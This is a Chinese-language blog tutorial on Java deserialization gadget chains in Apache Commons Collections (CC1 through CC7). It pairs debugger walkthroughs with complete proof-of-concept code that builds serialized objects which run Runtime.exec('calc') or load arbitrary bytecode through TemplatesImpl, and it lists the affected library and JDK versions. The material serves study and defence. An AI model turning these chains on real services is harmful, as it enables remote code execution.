Java安全

CC链

根据apache commons提供的一个组件apache commons collections所提供的类触发的一些列反序列化链子 简称CC链

image-20260319141406197

CC1

Apache Commons Collections反序列化漏洞 (CC1)

添加依赖包 jdk版本为8u20

image-20260319201431997

调用需要的类:

ConstantTransformer

InvokeTrasnformer

ChainedTransformer

TransformMap

AnnotationInvocationHandler

ConstantTransformer

transform方法将传入的类对象原封不动的返回

image-20260318193122342

InvokeTrasnformer

该类的transform方法主要实现了反序列化执行rce

构造实例的时候传入方法和参数类型与参数

当调用transform方法的时候 会先在传入的对象的Class类中查找该方法 并执行传入的方法

image-20260320122821274

image-20260318193243405

通过InvokeTrasnformer rce

1
2
3
4
5
6
7
8
9
10
11
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.*;
public class unSerilize {
    public static void main(String[] args){
        String method = "exec";
        InvokerTransformer it = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        it.transform(Runtime.getRuntime());
        //最终结果是调用Runtime对象中的exec方法执行calc命令
    }
}

ChainedTransformer

ChainedTransformer类的transform方法会链式调用transformers数组中的每个Transformer的transform方法

image-20260318194737941

通过ChainedTransformer rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
public class ChainTransformer1 {
    public static void main(String[] args) {

        //构造恶意Transformer类

        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);

        InvokerTransformer invokerTransformer1 = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]});//返回Runtime.getRuntime()方法类对象

        InvokerTransformer invokerTransformer2 = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]});

        InvokerTransformer invokerTransformer3 = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});


        ChainedTransformer chainedTransformers = new ChainedTransformer(new Transformer[]{constantTransformer, invokerTransformer1, invokerTransformer2, invokerTransformer3});

        chainedTransformers.transform(null);
        
    }
}

TransformerMap

我们需要TransformedMap类将我们上面构造好的链子打包在这个类中 等待触发

由于该类的构造器是受保护的 我们可以直接通过decorate方法创建一个实例

image-20260320123956554

image-20260320123931976

我们现在需要寻找的是一个可以触发transform方法的方法

只要触发了transform方法 就可以导致rce 执行我们已经构造好的恶意链中的代码

TransformMap类中的checkSetValue/put/putall都会触发transform方法

调用SetValue()方法的时候 最后还是会调用我们的(受保护的方法)checkSetValue()方法

image-20260320124659601

image-20260320124819531

image-20260320124928790

核心类AnnotationInvocationHandler

全限定包名sun.reflect.annotation.AnnotationInvocationHandler

由于这个是一个jdk中的内部包 所有无法直接创建实例 只能通过放射的方法创建实例

该类允许序列化 并且当反序列化的时候 会触发getValue() 因此也是我们的触发类

image-20260320130322430

调用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.functors.*;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;


public class Cc1 {
    public static void main(String[] args) {

        //构造恶意Transformer类

        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
		//getMethod.invoke(Runtime.class,Object[]{"getRuntime",new Class[0]})
        //Runtime.class.getMethod("getRuntime",new Class[0])
        InvokerTransformer invokerTransformer1 = new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});//返回Runtime.getRuntime()方法类对象		
        
		//invoke.invoke(Runtime.getRuntime(),Object[]{null,new Object[0]})
        //Runtime.getRuntime().invoke(null,new Object[0])
        InvokerTransformer invokerTransformer2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]});//返回Runtime对象
		//exec(new Runtime(),"calc")
        //Runtime.getRuntime().exec("calc")
        InvokerTransformer invokerTransformer3 = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});


        Transformer chainedTransformers = new ChainedTransformer(new Transformer[]{constantTransformer,invokerTransformer1,invokerTransformer2,invokerTransformer3});

        Map map = new HashMap();
        //这里一定要是填入value
        map.put("value","value");
		//将map 和 chainedTransformers恶意链装进TransformedMap
        Map t = TransformedMap.decorate(map,null,chainedTransformers);
        //恶意类构造完毕

        //实例化触发漏洞核心类
        try {
            //反射创建AnnotationInvocationHandler实例
            Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

            Constructor constructor = a.getDeclaredConstructor(Class.class,Map.class);
			//强行绕过权限
            constructor.setAccessible(true);
		
            Object instance = constructor.newInstance(Target.class,t);

            ByteArrayOutputStream baos = new ByteArrayOutputStream();

            ObjectOutputStream out = new ObjectOutputStream(baos);

            out.writeObject(instance);
            out.flush();
            out.close();

            byte[] bytes = baos.toByteArray() ;

            System.out.println("序列化成功:" + "\t"+ Arrays.toString(bytes));

            ByteArrayInputStream nais = new ByteArrayInputStream(bytes);

            ObjectInputStream in = new ObjectInputStream(nais);
			
            in.readObject();

            System.out.println("反序列化成功!");


        } catch (Exception e) {
            throw new RuntimeException(e);
        }


    }
}

调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        MapEntry.setValue()
            TransformedMap.checkSetValue()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Class.getMethod()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.getRuntime()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.exec()

简单调试

image-20260526210355411

在AnnotationInvocationHandler的readobject方法上打个断点

image-20260526210554584

注意var3的key为value

这个键值对来自var10 = AnnotationType.getInstance(this.type) 之后会触发var10.memberTypes() 获得成员类型

进入循环 触发之前传入AnnotationInvocationHandler的成员方法 this.memberValues.entrySet()

this.memberValues 实际就是我们的TransformedMap对象

image-20260526210846867

TransformedMap没有重写entrySet实际触发父类的entrySet()

进而触发类成员的entrySet() 也就是我们之前传入的HashMap

image-20260526211034524

image-20260526211110808

返回键值对给var5 类型为AbstractInputCheckedMapDecorator$MapEntry 因为TransformMap没有重写entrySet方法 所以实际返回AbstractInputCheckedMapDecorator中的内部类AbstractInputCheckedMapDecorator$MapEntry

下面var3会尝试获取var6 实际就是key值value

这里肯定是成功取出 然后进入后面的循环

所以这里传入到TransformMap里面的HashMap 一定要有值 并且key还得是value 这样才能进入下面的循环

image-20260526211352102

我们想要的就是触发 AbstractInputCheckedMapDecorator$MapEntry的setValue()

image-20260526211552102

在之前触发entrySet方法的时候 内部类里面的parent已经被赋值了

image-20260526212054788

parent实际为我们的TransformMap对象

进而触发他的checkSetValue方法

image-20260526212130454

然后触发transform方法

image-20260526212153305

valueTransformer实际就是传入的Transform对象

image-20260526212242602

image-20260526212304597

后续就是循环触发Transform对象数组里面的各种类型的Transform 最后命令执行

image-20260526212359307

注意点

image-20260526212512500

传入到TransformMap里面的Hashmap的键值对的key一定要为value

上面的各种Transform最后实际调用的时候 为什么要这么写 最好自己调试一下 看看具体情况

sun.reflect.annotation.AnnotationInvocationHandler 这个类反序列化的时候 触发TransformMap的setEntry方法 进而触发父类的AbstractInputCheckedMapDecorator的内部类方法MapEntry 最后触发setValue 感觉还是比较精妙的 也不好看出来 很细节

CC3

cc3将InvokeTrasnformer这个类换成InstantiateTransformer触发

其他地方也有点改动

核心类

  1. TemplatesImpl（sink）
  2. ChainedTransformer
  3. ConstantTransformer
  4. InstantiateTransformer
  5. TrAXFilter
  6. TransformedMap
  7. AnnotationInvocationHandler （触发类）

TemplatesImpl

image-20260526213641897

TemplatesImpl这个类属于jdk的原生类

常常用来当做最后的sink类 实际上是加载任意字节码并实例化

image-20260526213815139

关注方法newTransformer和getOutputProperties方法

getOutputProperties方法实际会触发newTransformer方法 所以关注newTransformer方法就可以了

跳转到getTransletInstance()

image-20260526213950036

defineTransletClasses方法会加载字节码

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

这一串又会实例化_class数组中的类

跳转到defineTransletClasses方法

image-20260526214123122

判断_bytecodes属性是否为null

下面会获得类加载器 然后回加载_bytecodes数组里面的字节码 并把这个类传入_class数组中 后续就是实例化然后触发rce

_class[i] = loader.defineClass(_bytecodes[i])

注意加载完类之后 会判断是否继承了父类

image-20260528161502401

所以加载的字节码 必须先继承AbstractTranslet

现在查看属性是否可控

image-20260526214444153

_bytecodes是个二维数组 还是个私有属性

可以直接反射修改值

image-20260526214531722

有好几个构造器

这些条件就足够构造一个恶意的TemplatesImpl对象了

我们现在已经知道了**getTransletInstance()**最后会任意加载字节码并实例化

getOutputProperties()和newTransformer()都会调用getTransletInstance()

实际上都是尝试去触发**getOutputProperties()和newTransformer()**这2个方法

1
2
3
4
5
6
7
8
9
10
11
12
String path = "D:\\123\\Calc.class";
byte[] eval = Files.readAllBytes(Paths.get(path));

byte[][] _bytecodes = new byte[][]{eval};
String transletName = "sakuya";
Properties pro = new Properties();
TransformerFactoryImpl fac = new TransformerFactoryImpl();

Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor constructor = clazz.getDeclaredConstructor(byte[][].class,String.class,Properties.class,int.class,TransformerFactoryImpl.class);
constructor.setAccessible(true);
TemplatesImpl obj = (TemplatesImpl) constructor.newInstance(_bytecodes,transletName,pro,1,fac);

创建一个TemplesImpl恶意类

现在需要去触发getOutputProperties或者newTransformer方法

根据cc1可以直接使用InvokeTrasnformer方法调用

但是ysoserial工具里面使用了InstantiateTransformer和TrAXFilter这2个类

来看看这2个类有啥用

InstantiateTransformer和TrAXFilter

image-20260526220029237

InstantiateTransformer这个类的transform方法会获取intpu的构造器 类型为iParamTypes 并且实例化

image-20260526220257338

TrAXFilter这个类的构造器会触发一个传入的Templates对象的newTransformer方法 很自然的想到TemplatesImpl对象的newTransformer方法

InstantiateTransformer和TrAXFilter这2个类结合起来可以实现触发TrAXFilter的有参构造器 然后触发 TemplatesImpl对象的newTransformer方法 最后成功恶意加载字节码实现rce

尝试写poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import com.*;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;

public class CC3InstantiateTransformer_TrAXFilter {
    public static void main(String[] args) throws Exception {
        String path = "D:\\123\\Calc.class";
        byte[] eval = Files.readAllBytes(Paths.get(path));

        byte[][] _bytecodes = new byte[][]{eval};
        String transletName = "sakuya";
        Properties pro = new Properties();
        TransformerFactoryImpl fac = new TransformerFactoryImpl();

        Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor constructor = clazz.getDeclaredConstructor(byte[][].class,String.class,Properties.class,int.class,TransformerFactoryImpl.class);
        constructor.setAccessible(true);
        TemplatesImpl obj = (TemplatesImpl) constructor.newInstance(_bytecodes,transletName,pro,1,fac);

        Transformer[] ts = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(ts);

        HashMap hashMap = new HashMap();
        hashMap.put("value","sakuya");

        Map transformmap = TransformedMap.decorate(hashMap,null,chainedTransformer);


        try{
            Class clazzAno = "".getClass().forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructorAno = clazzAno.getDeclaredConstructor(Class.class, Map.class);
            constructorAno.setAccessible(true);




            Object payload = constructorAno.newInstance(Target.class,transformmap);

            deseriazler.deserialize(payload);

        } catch (Exception e) {
            throw new RuntimeException(e);
        }


    }
}

image-20260526220720413

现在的Transform数组是这样的 后续调试会明白效果的

和cc1相比变化不大直接调试

简单调试

image-20260526221412423

这次在ChainedTransformer这里的transform方法打断点

image-20260526221517628

首先根据ConstantTransformer的transform的特性会直接返回TrAXFilter类

进入InstantiateTransformer的transform

image-20260526221700397

TrAXFilter类作为input变量的值获得有参构造器

后续就是创建TrAXFilter实例对象 参数为TemplatesImpl对象

image-20260526221846467

进入TrAXFilter的有参构造器 触发TemplatesImpl对象的newTransformer()

这里已经结束了 后续就是正常加载字节码触发rce

image-20260526221945028

总结一下

InstantiateTransformer和TrAXFilter的组合实现了 TrAXFilter实例化对象 后续触发TemplatesImpl的newTransformer方法

限制

  1. CC包 <= 3.2.1
  2. jdk < 8u71
  1. TemplatesImpl 模板实现类
  2. ChainedTransformer 链式转换器
  3. ConstantTransformer 常量转换器
  4. InvokeTrasnformer 调用转换器
  5. InstantiateTransformer 实例化转换器
  6. TrAXFilter TrAX过滤器
  7. TransformedMap 转换映射
  8. AnnotationInvocationHandler 注解调用处理器

学java顺便学一下英语（）

CC6

最有常用的链子

触发类使用HashMap触发

核心类

  1. HashMap(触发类)
  2. TiedMapEntry 关联映射条目
  3. LazyMap 延迟映射
  4. ChainedTransformer
  5. ConstantTransformer
  6. InvokeTrasnformer(sink类)

我们先来看看LazyMap和TriedMap

LazyMap和TiedMapEntry

这2个类主要是为了替换TransformedMap类

image-20260526223322768

LazyMap的get方法会触发factory对象的transform方法

image-20260526223436917

factory对象来自于上面的decorate方法 可以让我们传Transformer对象

那直接传ChainedTransform对象就完事了

现在需要一个类可以触发LazyMap的get方法

image-20260526223900793

TiedMapEntry的getValue方法刚好可以触发map对象的get方法

那么只要map对象为LazyMap就可以了

上面的有参构造器就可以实现

看看什么方法可以触发getValue方法

image-20260526224042856

equals hashCode toString方法均可触发 这些也都是Map接口有的方法

这个hashCode应该不难想到HashMap在反序列化的时候可以触发 URLDNS链就是这么打的

image-20260526224355826

跟进hash方法

image-20260526224411117

触发key的hashcode

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import com.*;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) {
        Transformer[] t = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer c = new ChainedTransformer(new Transformer[0]);
        HashMap h = new HashMap();
        Map l = LazyMap.decorate(h,c);
        try {
            TiedMapEntry tiedMapEntry = new TiedMapEntry(l,"aa");
            HashMap hashMap = new HashMap();
            hashMap.put(tiedMapEntry,"sakuya");
            l.remove("aa");
            Class clazz = c.getClass();
            Field iTransformers =  clazz.getDeclaredField("iTransformers");
            iTransformers.setAccessible(true);
            iTransformers.set(c,t);
            deseriazler.deserialize(hashMap);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

注意这些地方 都是细节点

image-20260526225448510

调试过程就会明白

调试一下

CC6的调试一定要先关掉idea中 调试器的2个参数

image-20260526230601973

断点打在hashmap的put方法上面

image-20260526225657588

跟进put方法

image-20260526225810147

image-20260526225827705

image-20260526225919042

put方法也会触发hash方法 进而触发key.hashCode 导致提前触发TiedMap的getValue方法 进而提早的就会弹计算器 所以这里为了避免提早触发

image-20260526230028301

ChainedTransformer里面的Transform数组不是恶意的Transform数组

后续反射修改了

但是下面为什么要删除LazyMap的这个key呢

继续跟进getValue 触发LazyMap的get方法

image-20260526230238628

image-20260526230901936

这里的HashMap按理来说应该是空的才对 但是这里没关调试效果

image-20260526231006269

调试默认开启这2个设置 在显示变量的值的时候会自动触发toString 和其他某些方法

由于触发了toString 导致这里的HashMap莫名其妙多了一个键值对 后续调试是不会成功的

因为这个键值对删不掉（）

后续这里的判断就会跳过 导致不执行transform方法

现在关掉 继续调试到这里

image-20260526232803621

现在就正常了 正常来说这里的hashmap就是空的

由于找不到key 所以这里进入这个判断里面去了

factory不是我们的恶意Transformer数组所以不会触发rce

但是后面会往hashmap里面放东西 所以我们后面需要删掉里面的键值对

image-20260526233042686

image-20260526233058254

这下就正常了

后面反射调用将恶意Transformer数组放进去就成功构造好了恶意对象

后续就是一路畅通

image-20260526233321795

image-20260526233350189

image-20260526233403402

后面就正常rce了

image-20260526233427198

总结一下

这个链子是CC里面通用链 首选就打他

限制

  1. CC包 <= 3.2.1 / CC包 = 4.0
  2. jdk无限制

CC包为4.0的时候需要修改一下LazyMap的构造 因为4.0版本没有decorate方法了 直接反射调用构造器就可以

CC5

将AnnotationInvocationHandler 替换为BadAttributeValueExpException

核心类

  1. TemplatesImpl（sink）
  2. ChainedTransformer
  3. ConstantTransformer
  4. InstantiateTransformer
  5. TrAXFilter
  6. TiedMapEntry
  7. LazyMap
  8. BadAttributeValueExpException（触发类）

BadAttributeValueExpException

image-20260527083335625

BadAttributeValueExpException在反序列化的时候会触发val对象的toString方法

可以使用TiedMapEntry和LazpMap来触发

image-20260527083439095

val成员可以直接反射赋值

基本上就是替换了触发类而已 和CC3没啥区别

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import com.*;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Properties;

public class CC5 {
    public static void main(String[] args)throws Exception {
        String path = "D:\\123\\Calc.class";
        byte[] eval = Files.readAllBytes(Paths.get(path));

        byte[][] _bytecodes = new byte[][]{eval};
        String transletName = "sakuya";
        Properties pro = new Properties();
        TransformerFactoryImpl fac = new TransformerFactoryImpl();

        Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor constructor = clazz.getDeclaredConstructor(byte[][].class,String.class,Properties.class,int.class,TransformerFactoryImpl.class);
        constructor.setAccessible(true);
        TemplatesImpl obj = (TemplatesImpl) constructor.newInstance(_bytecodes,transletName,pro,1,fac);

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        LazyMap lazyMap = (LazyMap) LazyMap.decorate(new java.util.HashMap(), chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "sakuya");

        try {
            BadAttributeValueExpException badexp = new BadAttributeValueExpException(null);
            Class BadAttributeValueExpExceptionclass = badexp.getClass();
            Field val = BadAttributeValueExpExceptionclass.getDeclaredField("val");
            val.setAccessible(true);
            val.set(badexp, tiedMapEntry);

            deseriazler.deserialize(badexp);

        } catch (Exception e) {
            throw new RuntimeException(e);
        }


    }
}

image-20260527083612267

注意这里

调试一下

在BadAttributeValueExpException实例化的地方打个断点

image-20260527083658442

image-20260527083738909

BadAttributeValueExpException的构造器会触发val的toString方法

如果这这里就把TiedMapEntry放进去会提前触发rce

所以这里得在后面再把val成员改成TiedMapEntry

image-20260527083948280

后续调用到TiedMapEntry的toString方法进而触发getKey方法 后面就和cc3一样了

限制

  1. CC包 <= 3.2.1
  2. jdk < 8u76

CC2与CC4

这2个没什么区别 就是一个使用了InvokeTrasnformer 另一个InstantiateTransformer

CC2和CC4都是在 CC包version = 4.0的时候打的

核心类

  1. PriorityQueue(触发类)
  2. TransformingComparator
  3. InstantiateTransformer/InvokeTrasnformer
  4. TemplatesImpl（sink）

PriorityQueue和TransformingComparator

来看看这2个类是干什么的

先来看看entryset类

image-20260527085656724

compare方法会触发 实例对象成员transformer的transform方法 所以可以尝试将ChainedTransfomer传入TransformingComparator里面 上面的构造器就可以实现

现在需要一个类来触发TransformingComparator的compare方法

来看看PriorityQueue类

image-20260527090120315

他的反序列化方法会触发heapify方法 跟进一下

image-20260527090200561

image-20260527090316079

image-20260527090351521

多次调用来到siftDownUsingComparator方法

在下面就会触发comparator.compare()

现在只需要成员comparator 为我们的TransformingComparator对象就可以了

image-20260527090637196

使用这个有参构造器就可以传入我们的TransformingComparator对象了

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import com.deseriazler;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
import java.util.Properties;

public class CC2 {
    public static void main(String[] args) throws Exception{

        String path = "D:\\123\\Calc.class";
        byte[] eval = Files.readAllBytes(Paths.get(path));

        byte[][] _bytecodes = new byte[][]{eval};
        String transletName = "sakuya";
        Properties pro = new Properties();
        TransformerFactoryImpl fac = new TransformerFactoryImpl();

        Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor constructor = clazz.getDeclaredConstructor(byte[][].class,String.class,Properties.class,int.class,TransformerFactoryImpl.class);
        constructor.setAccessible(true);
        TemplatesImpl obj = (TemplatesImpl) constructor.newInstance(_bytecodes,transletName,pro,1,fac);

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(0));


        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(obj);
        priorityQueue.add(obj);

        Class clazzt = TransformingComparator.class;
        Field filed = clazzt.getDeclaredField("transformer");
        filed.setAccessible(true);
        filed.set(transformingComparator,invokerTransformer);


        deseriazler.deserialize(priorityQueue);

    }
}

image-20260527091107850

注意这些地方

调试一下

在priorityQueue.add()这里打个断点

image-20260527091453646

image-20260527091732415

跟进offer方法

image-20260527091820043

由于第一次add的时候 PriorityQueue的长度为0 所以后面不会进入siftUp方法

image-20260527091910489

在第二次add的时候就会进入siftUp方法

由于会提前触发rce 所以这里不能直接传入我们的恶意类 得后续反射修改

image-20260527092038549

至于为什么要在priorityQueue里面填入成员

image-20260527092129123

是因为后面会间接的判断长度大小 如果是空的话是没法进入 siftUpUsingComparator方法

image-20260527094216776

又为什么要add两次

是因为headpify方法会对长度进行右移操作 如果为1的话后续反序列化没法进入siftDown方法中

来正常简单过一下流程

在heapify方法这里打个断点

image-20260527094743995

image-20260527094806697

由于size为2 右移结果大于0可以进入循环

image-20260527094915007

成功进入compare方法

image-20260527095113194

这里的TemplatesImpl对象来自于 PriorityQueue.add添加的对象

image-20260527095159101

触发TemplatesImpl的newTransformer 后面就成功加载恶意字节码

image-20260527095232238

总结一下

引入的PriorityQueue和TransformingComparator 就为了替换ChainedTransform

CC7

CC6的变种 将HashMap替换为HashTable了

核心类

  1. HashTable(触发类)
  2. TiedMApEntry
  3. LazyMap
  4. ChainedTransformer
  5. ConstantTransformer
  6. InvokerTransformer(sink类)

HashTable

image-20260527103514852

在反序列化的时候会触发 reconstitutionPut方法

image-20260527103725597

reconstitutionPut方法里面会触发key的hashcode

只要让key为TiedMapEntry就可以了

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import com.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
    public static void main(String[] args) {
        Transformer[] t = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };
        ChainedTransformer c = new ChainedTransformer(t);
        HashMap h = new HashMap();
        Map l = LazyMap.decorate(h,new ConstantTransformer(0));
        try {
            TiedMapEntry tiedMapEntry = new TiedMapEntry(l, "aa");
            Hashtable hashtable = new Hashtable();
            hashtable.put(tiedMapEntry,"sakuya");
            l.remove("aa");
            Class clazz = l.getClass();
            Field factory = clazz.getDeclaredField("factory");
            factory.setAccessible(true);
            factory.set(l,c);

            deseriazler.deserialize(hashtable);

        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

总结一下

Transformer的实现类是核心

ConstantTransformer InvokeTrasnformer ChainedTransformer TransformMap

调试过程最好自己动手调试一下

触发类特性

AnnotationInvocationHandler

readObject方法 会触发成员变量的entrySet方法 获得到的Map.Entry后续又会触发setvalue方法

这个触发类算是cc专属了应该

image-20260527143552711

invoke方法 里面会触发成员变量的get()方法

AnnotationInvocationHandler类引用了InvocationHandler 可以作为动态代理里面需要的InvocationHandler对象

可以用来动态代理对象 触发entrySet方法 进而触发invoke方法 也不怎么好用

总的来说和Map实现类有关

jdk 8u71被削弱了

image-20260527143736708

PriorityQueue

readObject方法会触发heapify方法

image-20260527144222388

image-20260527144321519

后面间接的触发comparator.compare方法 和Comparator实现类绑定

在CC包里面就是TransformingComparator

BadAttributeValueExpException

readObject方法会触发成员对象的toString方法

所有类都有这个方法 再别的链子里比较容易用到

jdk 8u75被削弱了

image-20260527144908580

HashMap

readObject方法会触发key的hashcode方法

image-20260527145156240

image-20260527145219532

HashTable

也是反序列化的时候触发hashcode方法

image-20260527145354794

image-20260527145426405

说些什么吧！

gitalk